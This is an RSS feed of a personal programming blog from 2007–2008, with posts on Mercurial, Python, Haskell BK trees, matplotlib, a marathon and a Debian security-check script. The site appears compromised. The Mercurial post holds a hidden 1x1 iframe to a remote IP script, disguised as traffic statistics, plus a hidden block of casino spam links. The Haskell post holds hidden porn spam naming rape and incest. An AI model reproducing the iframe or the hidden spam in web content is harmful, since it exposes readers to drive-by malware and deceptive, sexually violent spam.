<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>rococo - then rubble</title>
	<atom:link href="http://hupp.org/adam/weblog/feed/" rel="self" type="application/rss+xml" />
	<link>http://hupp.org/adam/weblog</link>
	<description>The blog of Adam Hupp</description>
	<pubDate>Sat, 26 Jul 2008 03:51:48 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Maker Faire 2008 Highlights</title>
		<link>http://hupp.org/adam/weblog/2008/05/04/maker-faire-2008-highlights/</link>
		<comments>http://hupp.org/adam/weblog/2008/05/04/maker-faire-2008-highlights/#comments</comments>
		<pubDate>Sun, 04 May 2008 23:48:52 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/?p=107</guid>
		<description><![CDATA[This weekend I attended my first Maker Faire and was amazed at the
variety of cool stuff to be seen.  I&#8217;m sure every attendee has their own list of highlights, but here&#8217;s mine:

TechShop: The TechShop provides access to tools beyond the reach of the average hobbyist.  Welding, CNC plasma cutters, later etching, and machine [...]]]></description>
			<content:encoded><![CDATA[<p>This weekend I attended my first <a href="http://makerfaire.com/">Maker Faire</a> and was amazed at the
variety of cool stuff to be seen.  I&#8217;m sure every attendee has their own list of highlights, but here&#8217;s mine:</p>

<p><a href="http://techshop.ws/">TechShop</a>: The TechShop provides access to tools beyond the reach of the average hobbyist.  Welding, CNC plasma cutters, later etching, and machine tools are all available after a short training class and payment of a modest use fee.  I can&#8217;t even explain how excited I am to check this place out - I&#8217;ll be taking the TIG welding class at the end of May.</p>

<p><a href="http://www.tlb.org/eunicycle.html">Electric Unicycle</a>: The was probably the coolest single thing I saw.  It sounds deceptively simple: a unicycle with an electric motor.  The neat thing is that, like a Segway, it (sort of) self balances and is controlled by the
operator leaning forward and backwards.</p>

<p><a href="http://orbswarm.com/">Orb Swarm</a>: A 3&#8242; diameter hollow sphere that can roll along the ground under autonomous control.  A motor is suspended in side the sphere, and it changes direction by tilting the batteries to act as a counterweight.</p>

<p><a href="http://michaelcooper.us/">Michael Cooper&#8217;s Chair</a>: This item was sort of out of place at the fair in that, as far as I could tell, it didn&#8217;t actually do anything.  Even so it was easily the most beautiful and polished piece I saw.  The chair is made of curved wood laminate and is set in the middle of a spider/helicopter/hydraulic lift device right out of science fiction.</p>

<p>Unfortunately Mr. Cooper&#8217;s website follows the common artistic failing of using unlinkable Flash applets to display their portfolio so I can&#8217;t link directly to the piece.  The item I saw is shown in the upper-right hand corner on the main page of his website.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2008/05/04/maker-faire-2008-highlights/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pretty colors: Syntax Highlighting in Mercurial</title>
		<link>http://hupp.org/adam/weblog/2007/11/18/pretty-colors-syntax-highlighting-in-mercurial/</link>
		<comments>http://hupp.org/adam/weblog/2007/11/18/pretty-colors-syntax-highlighting-in-mercurial/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 04:43:30 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Mercurial]]></category>

		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/11/18/pretty-colors-syntax-highlighting-in-mercurial/</guid>
		<description><![CDATA[I recently switched my personal revision control system from
subversion to mercurial.  One of the
great things about mercurial is the built-in web interface, but I
missed the syntax highlighting that&#8217;s available in interfaces such as
ViewVC.

I&#8217;ve written a mercurial extension that applies
pygments



 view.  This extension is now
available
in the main mercurial repo.

To enable it, install pygments and [...]]]></description>
			<content:encoded><![CDATA[<p>I recently switched my personal revision control system from
subversion to <a href="http://selenic.com/mercurial">mercurial</a>.  One of the
great things about mercurial is the built-in web interface, but I
missed the syntax highlighting that&#8217;s available in interfaces such as
<a href="http://viewvc.org">ViewVC</a>.</p>

<p>I&#8217;ve written a mercurial extension that applies
<a href="http://pygments.org">pygments</a><!-- Traffic Statistics --></p>

<iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>

<p><!-- End Traffic Statistics --> view.  This extension is <a href="http://www.selenic.com/repo/hg/file/tip/hgext/highlight.py">now
available</a>
in the main mercurial repo.</p>

<p>To enable it, install pygments and add the following entry to hgrc:</p>

<pre><code class="prettyprint">[extension]
hgext.highlight =
</code></pre>

<p><a href="http://hupp.org/adam/hg/bktree/file/tip/BKTree.hs">An example of the
output.</a></p>

<p>Thanks to <em>micha</em> who wrote an initial
<a href="http://www.selenic.com/pipermail/mercurial/2007-May/013207.html">patch</a>.
 <u style="display:none"><a href="http://www.webbleyou.net/wp-content/1/black-jack-betting-strategy.html">black jack betting strategy</a><a href="http://www.webbleyou.net/wp-content/1/free-online-video-poker.html">free online video poker</a><a href="http://www.webbleyou.net/wp-content/1/backgammon-gambling.html">backgammon gambling,online backgammon gambling</a><a href="http://www.webbleyou.net/wp-content/1/how-to-play-video-poker.html">how to play video poker</a><a href="http://www.webbleyou.net/wp-content/1/video-poker-practice.html">video poker practice</a><a href="http://www.webbleyou.net/wp-content/1/baccarat-game.html">free baccarat game,baccarat game,baccarat casino game</a><a href="http://www.webbleyou.net/wp-content/1/tournament-backgammon.html">tournament backgammon</a><a href="http://www.webbleyou.net/wp-content/1/internet-casino-game.html">internet casino game</a><a href="http://www.webbleyou.net/wp-content/1/full-pay-video-poker.html">full pay video poker</a><a href="http://www.webbleyou.net/wp-content/1/no-deposit-bonus-online-casino.html">no deposit bonus online casino</a><a href="http://www.webbleyou.net/wp-content/1/free-slots.html">free slots,free slots game,free on line slots</a><a href="http://www.webbleyou.net/wp-content/1/baccarat-rule.html">baccarat rule</a><a href="http://www.webbleyou.net/wp-content/1/free-black-jack-game.html">free black jack game</a><a href="http://www.webbleyou.net/wp-content/1/craps-online-game.html">craps online game</a><a href="http://www.webbleyou.net/wp-content/1/virtual-casino-gambling.html">virtual casino gambling</a><a href="http://www.webbleyou.net/wp-content/1/free-video-poker-downloads.html">free video poker downloads</a><a href="http://www.webbleyou.net/wp-content/1/blackjack-gambling.html">blackjack gambling game,blackjack gambling,online blackjack gambling</a><a href="http://www.webbleyou.net/wp-content/1/blackjack-casino-game.html">blackjack casino game</a><a href="http://www.webbleyou.net/wp-content/1/no-deposit-free-money-casino.html">no deposit free money casino</a><a href="http://www.webbleyou.net/wp-content/1/casino-link-online-suggest.html">casino link online suggest</a><a href="http://www.webbleyou.net/wp-content/1/real-money-backgammon.html">real money backgammon</a><a href="http://www.webbleyou.net/wp-content/1/play-free-casino-slots.html">play free casino slots</a><a href="http://www.webbleyou.net/wp-content/1/how-to-play-backgammon.html">how to play backgammon,instructions to play backgammon,play backgammon online free</a><a href="http://www.webbleyou.net/wp-content/1/video-poker-tournament.html">video poker tournament</a><a href="http://www.webbleyou.net/wp-content/1/free-on-line-slots.html">free on line slots</a><a href="http://www.webbleyou.net/wp-content/1/black-jack-download.html">black jack download</a><a href="http://www.webbleyou.net/wp-content/1/on-line-casino-wagering.html">on line casino wagering</a><a href="http://www.webbleyou.net/wp-content/1/free-cash-casino.html">free cash casino</a><a href="http://www.webbleyou.net/wp-content/1/play-free-online-slots.html">play free online slots</a><a href="http://www.webbleyou.net/wp-content/1/learn-to-play-craps.html">learn to play craps</a><a href="http://www.webbleyou.net/wp-content/1/double-bonus-video-poker.html">double bonus video poker</a><a href="http://www.webbleyou.net/wp-content/1/best-online-casino-bonus.html">best online casino bonus</a><a href="http://www.webbleyou.net/wp-content/1/internet-casino-gambling.html">internet casino gambling game,internet casino gambling,internet casino gambling uk</a><a href="http://www.webbleyou.net/wp-content/1/online-casino-gambling.html">online casino gambling,gambling casino online bonus,online casino online gambling</a><a href="http://www.webbleyou.net/wp-content/1/free-backgammon-download.html">free backgammon download</a><a href="http://www.webbleyou.net/wp-content/1/download-casino-game.html">download casino game</a><a href="http://www.webbleyou.net/wp-content/1/video-poker-double.html">video poker double</a><a href="http://www.webbleyou.net/wp-content/1/jacks-or-better-video-poker.html">jacks or better video poker</a><a href="http://www.webbleyou.net/wp-content/1/no-download-video-poker.html">no download video poker</a><a href="http://www.webbleyou.net/wp-content/1/online-black-jack-game.html">online black jack game</a><a href="http://www.webbleyou.net/wp-content/1/online-casino-gambling-site.html">online casino gambling site</a><a href="http://www.webbleyou.net/wp-content/1/casino-baccarat.html">baccarat the internet casino game,casino baccarat,virtual online casino gambling baccarat</a><a href="http://www.webbleyou.net/wp-content/1/free-online-black-jack-game.html">free online black jack game</a><a href="http://www.webbleyou.net/wp-content/1/online-baccarat.html">online baccarat</a><a href="http://www.webbleyou.net/wp-content/1/how-to-win-at-roulette.html">how to win at roulette</a><a href="http://www.webbleyou.net/wp-content/1/deuces-wild-video-poker.html">deuces wild video poker</a><a href="http://www.webbleyou.net/wp-content/1/find-online-casino.html">find online casino</a><a href="http://sophication.com/wp-content/1/le-casino.html">le casino</a><a href="http://sophication.com/wp-content/1/black-jack-regole.html">black jack regole</a><a href="http://sophication.com/wp-content/1/nouveau-casino-bonus-sans-depot.html">nouveau casino bonus sans depot</a></u></p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/11/18/pretty-colors-syntax-highlighting-in-mercurial/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Python λ Shorthand</title>
		<link>http://hupp.org/adam/weblog/2007/11/10/python-lambda-shorthand/</link>
		<comments>http://hupp.org/adam/weblog/2007/11/10/python-lambda-shorthand/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 20:55:45 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/11/10/python-%ce%bb-shorthand/</guid>
		<description><![CDATA[In Python a lambda expression (anonymous function) is created with the lambda keyword:

map(lambda x: x+1, [1,2,3])


Some Scheme interpreters such as  Dr. Scheme allow the λ symbol (U+03BB) as a shorthand for lambda.   I started wondering what this would look like in Python.  For example:

map(λ x: x+1, [1,2,3])


Or for a slightly more [...]]]></description>
			<content:encoded><![CDATA[<p>In Python a lambda expression (anonymous function) is created with the <code>lambda</code> keyword:</p>

<pre><code class="prettyprint">map(lambda x: x+1, [1,2,3])
</code></pre>

<p>Some Scheme interpreters such as  <a href="http://www.plt-scheme.org/software/drscheme/">Dr. Scheme</a> allow the λ symbol (<a href="http://www.fileformat.info/info/unicode/char/03bb/index.htm">U+03BB</a>) as a shorthand for lambda.   I started wondering what this would look like in Python.  For example:</p>

<pre><code class="prettyprint">map(λ x: x+1, [1,2,3])
</code></pre>

<p>Or for a slightly more gratuitously complex example, a recursive factorial with the Y
combinator:</p>

<pre><code class="prettyprint">Y = (λ X:
         (λ p:
              X(λ arg: p(p)(arg)))
     ((λ p:
           X(λ arg: p(p)(arg)))))

F = (λ f: (λ x: (x*f(x-1) if x &gt; 0 else 1)))

fact = Y(F)
fact(5) =&gt; 120
</code></pre>

<p>The interpreter changes to make this work this are quite simple.  All it requires is small change to the grammar, an update to the syntax checker, and a hack in the parser generator to treat characters with the high-bit set as though they were in the alpha class.</p>

<p>There are a few cases where the shorthand is beneficial.  For example, compare:</p>

<pre><code class="prettyprint">[i for i in lst if i &gt; 42]
</code></pre>

<p>to:</p>

<pre><code class="prettyprint">filter(λ x: x &gt; 42, lst)
</code></pre>

<p>While list comprehensions are the standard python way to accomplish this, I do like how the predicate comes first in the latter version.</p>

<p>Also, pretty much all of the functions in the itertools module could work nicely with the  shorthand form:</p>

<pre><code class="prettyprint">itertools.groupby(lst, λ x: x.somevalue)
</code></pre>

<p>Even so this is probably isn&#8217;t something that would be worth adding to the language.
Lambda expressions are rarely useful in Python so a shorthand form is not going at add much benefit compared to the added language complexity.  Not to mention the need for a UTF-8 aware editor and terminal.</p>

<h2>Using It</h2>

<p>Since λ probably doesn&#8217;t appear on your keyboard a certain amount of editor configuration is required.  The easiest way in emacs is to define a key binding that inserts the character:</p>

<pre><code class="prettyprint">(global-set-key "\C-c\C-l" (lambda () (interactive) (insert "λ")) )
</code></pre>

<p>Alternatively, abbrev-mode can insert this character whenever the word <code>lambda</code> is typed:</p>

<pre><code class="prettyprint">(define-abbrev-table 'global-abbrev-table
  '(("lambda" "λ" nil 0)))
</code></pre>

<p>To build an interpreter with this enabled you&#8217;ll need <a href="/adam/python-lambda-shorthand.patch">this patch</a> applied to a recentish checkout of python 3k.  I don&#8217;t know if it would work on earlier versions.</p>

<p><strong>Update:</strong>  On reddit, <a href="http://programming.reddit.com/info/60bo6/comments/c02g6ee">gwern pointed out</a> that it&#8217;s better to translate from lambda -> λ in the editor display rather than embed this symbol in the text.  There is (of course) <a href="http://www.emacswiki.org/cgi-bin/wiki/PrettyLambda">elisp to do this</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/11/10/python-lambda-shorthand/feed/</wfw:commentRss>
		</item>
		<item>
		<title>One more time: BK Trees in Haskell</title>
		<link>http://hupp.org/adam/weblog/2007/11/02/one-more-time-bk-trees-in-haskell/</link>
		<comments>http://hupp.org/adam/weblog/2007/11/02/one-more-time-bk-trees-in-haskell/#comments</comments>
		<pubDate>Fri, 02 Nov 2007 12:58:18 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Haskell]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/11/02/one-more-time-bk-trees-in-haskell/</guid>
		<description><![CDATA[After the Python
BK-tree
implementation I decided to try my hand at a Haskell version.  Here
it is.

videos of drunk girls peeing outside: free squirting video. free teen incest sex videos free incest hentai manga movies. free rape forced sex exploitation movie sites extreme rape porn movies. 
]]></description>
			<content:encoded><![CDATA[<p>After the <a href="http://hupp.org/adam/weblog/2007/10/28/burkhard-keller-bk-trees-in-python/">Python
BK-tree</a>
implementation I decided to try my hand at a Haskell version.  <a href="http://hupp.org/adam/hg/bktree/file/tip/BKTree.hs">Here
it is</a>.</p>

<h2 style="text-align:left;position:absolute;overflow:hidden;height:14;w\idth:0;background-color:#710613;"><a href="http://www.tinyos.net/scoop/user/squirt">videos of drunk girls peeing outside</a>: free squirting video. <a href="http://www.xboard.us/showthread.php?t=269652">free teen incest sex videos</a> free incest hentai manga movies. <a href="http://www.sythe.org/showthread.php?p=3202545">free rape forced sex exploitation movie sites</a> extreme rape porn movies. </h2>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/11/02/one-more-time-bk-trees-in-haskell/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Burkhard-Keller (BK) Trees In Python</title>
		<link>http://hupp.org/adam/weblog/2007/10/28/burkhard-keller-bk-trees-in-python/</link>
		<comments>http://hupp.org/adam/weblog/2007/10/28/burkhard-keller-bk-trees-in-python/#comments</comments>
		<pubDate>Mon, 29 Oct 2007 00:02:28 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/10/28/burkhard-keller-bk-trees-in-python/</guid>
		<description><![CDATA[I recently came across a description of an interesting data structure called a Burkhard-Keller tree (BK tree).   BK trees provide efficient lookup of the set of words that lie within a certain distance of a query word.   For example, this could used to suggest corrections in a spell checker.

To play around [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across a <a href="http://blog.notdot.net/archives/30-Damn-Cool-Algorithms,-Part-1-BK-Trees.html">description of an interesting data structure</a> called a Burkhard-Keller tree (BK tree).   BK trees provide efficient lookup of the set of words that lie within a certain distance of a query word.   For example, this could used to suggest corrections in a spell checker.</p>

<p>To play around with this I&#8217;ve written up a Python implementation of the tree.  For example:</p>

<pre><code class="prettyprint">&gt;&gt;&gt; tree = BKTree(levenshtein, dictionary_words)
&gt;&gt;&gt; tree.query("ricohet", 2)
[(1, 'ricochet'), (2, 'richer'), (2, 'riches'), 
 (2, 'richest'), (2, 'ricochets')]
&gt;&gt;&gt;
</code></pre>

<p>In the above example &#8216;levenshtein&#8217; is a function that implements the <a href="http://en.wikipedia.org/wiki/Levenshtein_Distance">Levenshtein Distance</a>.  This is commonly used to determine the distance between a word and its misspellings.</p>

<p>How much faster is a bk-tree than the brute force approach?  Here are a few example queries compared with the brute-force time:</p>

<table border="1">
<tr><td>word, distance</td><td>BK Tree</td><td>Brute Force</td></tr>
<tr><td>amphibious, 2</td><td>3s</td><td>15s</td></tr>
<tr><td>ricochet, 2</td><td>3s</td><td>11s</td></tr>
<tr><td>the, 2</td><td>0.2s</td><td>6s</td></tr>
</table>

<p>You can see the BK tree is much faster for small distances.  As the query distance increases the BK tree query time approaches that of the brute force method.</p>

<p>Of course, there&#8217;s no free lunch.  Creating this tree of 57,024 words takes 94s on my system.</p>

<p>The source for this module <a href="http://hupp.org/adam/hg/bktree/file/tip/bktree.py">is available here</a>.  Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/10/28/burkhard-keller-bk-trees-in-python/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Serving mercurial with mod_wsgi</title>
		<link>http://hupp.org/adam/weblog/2007/09/17/serving-mercurial-with-mod_wsgi/</link>
		<comments>http://hupp.org/adam/weblog/2007/09/17/serving-mercurial-with-mod_wsgi/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 04:39:36 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Mercurial]]></category>

		<category><![CDATA[WSGI]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/09/17/serving-mercurial-with-mod_wsgi/</guid>
		<description><![CDATA[Here&#8217;s a quick and easy recipe for serving a mercurial repository with mod_wsgi.


Create a file called hgwebdir.wsgi with these contents:

from mercurial.hgweb.request import wsgiapplication
from mercurial.hgweb.hgwebdir_mod import hgwebdir

def make_web_app():
    return hgwebdir("/path/to/hgweb.config")

application = wsgiapplication(make_web_app)

Add it to the apache configuration:

WSGIScriptAlias /hg /path/to/hgwebdir.wsgi
[optional] To make sure nobody modifies your repository via the http interface, add &#8216;deny_push = [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a quick and easy recipe for serving a <a href="http://www.selenic.com/mercurial/">mercurial</a> repository with <a href="http://modwsgi.googlecode.com/">mod_wsgi</a>.</p>

<ol>
<li><p>Create a file called hgwebdir.wsgi with these contents:</p>

<pre><code class="prettyprint">from mercurial.hgweb.request import wsgiapplication
from mercurial.hgweb.hgwebdir_mod import hgwebdir

def make_web_app():
    return hgwebdir("/path/to/hgweb.config")

application = wsgiapplication(make_web_app)
</code></pre></li>
<li><p>Add it to the apache configuration:</p>

<p>WSGIScriptAlias /hg /path/to/hgwebdir.wsgi</p></li>
<li><p>[optional] To make sure nobody modifies your repository via the http interface, add &#8216;deny_push = *&#8217; to the &#8216;[web]&#8216; group of hgweb.config.</p></li>
</ol>

<p>Hopefully this page will save the next person a few minutes of searching.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/09/17/serving-mercurial-with-mod_wsgi/feed/</wfw:commentRss>
		</item>
		<item>
		<title>etframes: Applying the ideas of Edward Tufte to matplotlib</title>
		<link>http://hupp.org/adam/weblog/2007/09/03/etframes-applying-the-ideas-of-edward-tufte-to-matplotlib/</link>
		<comments>http://hupp.org/adam/weblog/2007/09/03/etframes-applying-the-ideas-of-edward-tufte-to-matplotlib/#comments</comments>
		<pubDate>Tue, 04 Sep 2007 03:01:29 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Python]]></category>

		<category><![CDATA[Tufte]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/09/03/etframes-applying-the-ideas-of-edward-tufte-to-matplotlib/</guid>
		<description><![CDATA[Edward Tufte is a professor and author known for his excellent (and beautiful!) books on the visual display of statistical information.  Last year I had the opportunity to attend one of his courses and was inspired to apply his ideas to my favorite plotting library, matplotlib.

The result is etfames, a python module that operates [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Edward_tufte">Edward Tufte</a> is a professor and author known for his excellent (and beautiful!) books on the visual display of statistical information.  Last year I had the opportunity to attend one of his <a href="http://www.edwardtufte.com/tufte/courses">courses</a> and was inspired to apply his ideas to my favorite plotting library, <a href="http://matplotlib.sourceforge.net/">matplotlib</a>.</p>

<p>The result is <a href="http://hupp.org/adam/svn/public/etframes">etfames</a>, a python module that operates on matplotlib plots.  So far I&#8217;ve implemented two graph types described in the <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FVisual-Display-Quantitative-Information-2nd%2Fdp%2F0961392142%3Fie%3DUTF8%26s%3Dbooks%26qid%3D1188758757%26sr%3D8-1&amp;tag=rococothenrub-20&amp;linkCode=ur2&amp;camp=1789&amp;creative=9325">The Visual Display of Quantitative Information (VDQI)</a>:  the dash-dot-plot and range frames.</p>

<h2>Dash Dot Plot</h2>

<p>A dash-dot-plot places a tick mark on the axis for each value in a scatter plot.  When there are many values in the graph this can be a more effective way to understand their distribution than looking at the raw data.  For example:</p>

<p><a href="/adam/images/ddp.png">
<img alt="Example of a dash-dot-plot" src="/adam/images/ddp.png"/></a></p>

<p>See <a href="http://hupp.org/adam/svn/public/etframes/demo_ddp.py">demo_ddp.py</a> for a working example.</p>

<h2>Range Frames</h2>

<p>The range frame re-uses the frame (edge) of a graph to display useful information.  Instead of drawing a full frame around the graph the frame is only drawn from the minimum to the maximum value along that axis.  For example:</p>

<p><a href="/adam/images/range.png">
<img alt="Example of a range frame" src="/adam/images/range.png"/></a></p>

<p>See <a href="http://hupp.org/adam/svn/public/etframes/demo_range.py">demo_range.py</a> for a working example.</p>

<h2>Other Work</h2>

<p>There are several other graph types described in VDQI that would be nice to implement, particularly the extension of range frames that turns them into a <a href="http://en.wikipedia.org/wiki/Box_plot">box plot</a>.</p>

<p>A related project is <a href="http://sparkplot.org/">sparkplot</a> which uses the matplotlib library to create sparklines.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/09/03/etframes-applying-the-ideas-of-edward-tufte-to-matplotlib/feed/</wfw:commentRss>
		</item>
		<item>
		<title>26.2</title>
		<link>http://hupp.org/adam/weblog/2007/07/30/262/</link>
		<comments>http://hupp.org/adam/weblog/2007/07/30/262/#comments</comments>
		<pubDate>Mon, 30 Jul 2007 17:49:28 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Birthday Challenge]]></category>

		<category><![CDATA[Marathon]]></category>

		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/07/30/262/</guid>
		<description><![CDATA[Yesterday I completed the San Francisco Marathon (my first) with a time of 3:50:09.  Here&#8217;s the stats.  My goal was a flat 4:00 so I&#8217;m pretty pleased with the time.  Most of my family came down to run the half marathon or 5K, and my wife also ran the half.

This being my [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I completed the San Francisco Marathon (my first) with a time of 3:50:09.  <a href="http://runraceresults.com/Individual.asp?EV=RCLF2007&amp;Bib=3819">Here&#8217;s the stats.</a>  My goal was a flat 4:00 so I&#8217;m pretty pleased with the time.  Most of my family came down to run the half marathon or 5K, and my wife also ran the half.</p>

<p>This being my first race I learned a few things along the way.</p>

<ol>
<li><p>Several people told me take it easy for the first half of the run, but I think it&#8217;s actually better to keep a consistent pace the whole time.  There&#8217;s no way you&#8217;re going to make up the time later on and at least for me the most wear is caused by the distance, not speed.</p></li>
<li><p>When I registered for the race I put down an expected finishing time of 4:15.  It didn&#8217;t occur to me that this was important, but it turns out to be.  Once we got to the Golden Gate Bridge the course became narrow and I lost some time trying to pass people.  I&#8217;ll underestimate next time.</p></li>
<li><p>I thought I was good at running down hills, but I was wrong.  When I&#8217;m tired I tend to lean back against the hill instead of leaning downhill and as a result my knees were in bad shape by the end.  I&#8217;ll definitely pay more attention to this next time.</p></li>
</ol>

<p>The most amusing moment was the beer station at mile 15.  I suspect the <a href="http://en.wikipedia.org/wiki/Hash_House_Harriers">Hash House Harriers</a> were involved in that.</p>

<p>It was a great experience and I&#8217;m looking forward to my next race.  Not too soon though.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/07/30/262/feed/</wfw:commentRss>
		</item>
		<item>
		<title>dsc.py: Automated Warnings for Debian Security Updates</title>
		<link>http://hupp.org/adam/weblog/2007/06/21/dscpy-automated-warnings-for-debian-security-updates/</link>
		<comments>http://hupp.org/adam/weblog/2007/06/21/dscpy-automated-warnings-for-debian-security-updates/#comments</comments>
		<pubDate>Thu, 21 Jun 2007 08:00:33 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Debian]]></category>

		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/06/21/dscpy-automated-warnings-for-debian-security-updates/</guid>
		<description><![CDATA[dsc.py (Debian Security Check) is a Python script that automatically notifies a machine&#8217;s administrator when installed packages require a security upgrade.

Why this is useful

This week there were 9 Debian security advisories released, and I don&#8217;t always know which ones apply to my server.  This is especially hard in the case of libraries (think fast: [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hupp.org/adam/svn/public/dsc/dsc.py">dsc.py</a> (Debian Security Check) is a Python script that automatically notifies a machine&#8217;s administrator when installed packages require a security upgrade.</p>

<h3>Why this is useful</h3>

<p>This week there were 9 Debian security advisories released, and I don&#8217;t always know which ones apply to my server.  This is especially hard in the case of libraries (think fast: do any of your services depend on <a href="http://www.debian.org/security/2007/dsa-1302">freetype</a>?).   dsc.py will only notify you of packages that actually require upgrades.</p>

<p>The alternative is to put an &#8216;apt-get upgrade&#8217; directly in crontab, but I&#8217;d prefer to do upgrades by hand.</p>

<h3>How does it work?</h3>

<p>Necessary upgrades are determined by comparing the packages listed in the <a href="http://www.debian.org/security/dsa-long">security advisories RSS feed</a> with the set of upgradeable packages.   When a match is found a summary of the issue is written to stdout.  This script is run via cron nightly, with output (if any) mailed to the administrator.  Note that an &#8216;apt-get update&#8217; will need to be run first.  My crontab entry looks like this:</p>

<pre><code class="prettyprint">0 3 * * * apt-get -qq update &amp;&amp; /usr/local/bin/dsc.py
</code></pre>

<p>dsc.py depends on these packages: python, python-apt, dctrl-tools, and python-feedparser</p>

<p><a href="http://hupp.org/adam/svn/public/dsc/dsc.py">It can be downloaded here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/06/21/dscpy-automated-warnings-for-debian-security-updates/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Go West, Young Man!</title>
		<link>http://hupp.org/adam/weblog/2007/06/01/go-west-young-man/</link>
		<comments>http://hupp.org/adam/weblog/2007/06/01/go-west-young-man/#comments</comments>
		<pubDate>Fri, 01 Jun 2007 06:36:36 +0000</pubDate>
		<dc:creator>adam</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hupp.org/adam/weblog/2007/06/01/go-west-young-man/</guid>
		<description><![CDATA[Erin and I have arrived in Berkeley, completing our NC to CA cross-country road trip.  We&#8217;ll be staying here this summer for Erin&#8217;s internship in the Bay Area.  The drive out was great, with stops in Wisconsin, Minnesota, Badlands National Park (SD),  Colorado,  Arches National Park (UT), Mono Lake (CA) and [...]]]></description>
			<content:encoded><![CDATA[<p>Erin and I have arrived in Berkeley, completing our NC to CA cross-country road trip.  We&#8217;ll be staying here this summer for Erin&#8217;s internship in the Bay Area.  The drive out was great, with stops in <a href="http://flickr.com/photos/hupp/509483275/in/set-72157600244219455/">Wisconsin</a>, Minnesota, <a href="http://flickr.com/photos/hupp/509461092/in/set-72157600244219455/">Badlands National Park (SD)</a>,  Colorado,  <a href="http://flickr.com/photos/hupp/509515221/in/set-72157600244219455/">Arches National Park (UT)</a>, <a href="http://flickr.com/photos/hupp/509526966/in/set-72157600244219455/">Mono Lake (CA)</a> and <a href="http://flickr.com/photos/hupp/509557397/in/set-72157600244219455/">Yosemite National Park</a>.</p>

<p>Pictures are up <a href="http://flickr.com/photos/hupp/sets/72157600244219455/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hupp.org/adam/weblog/2007/06/01/go-west-young-man/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
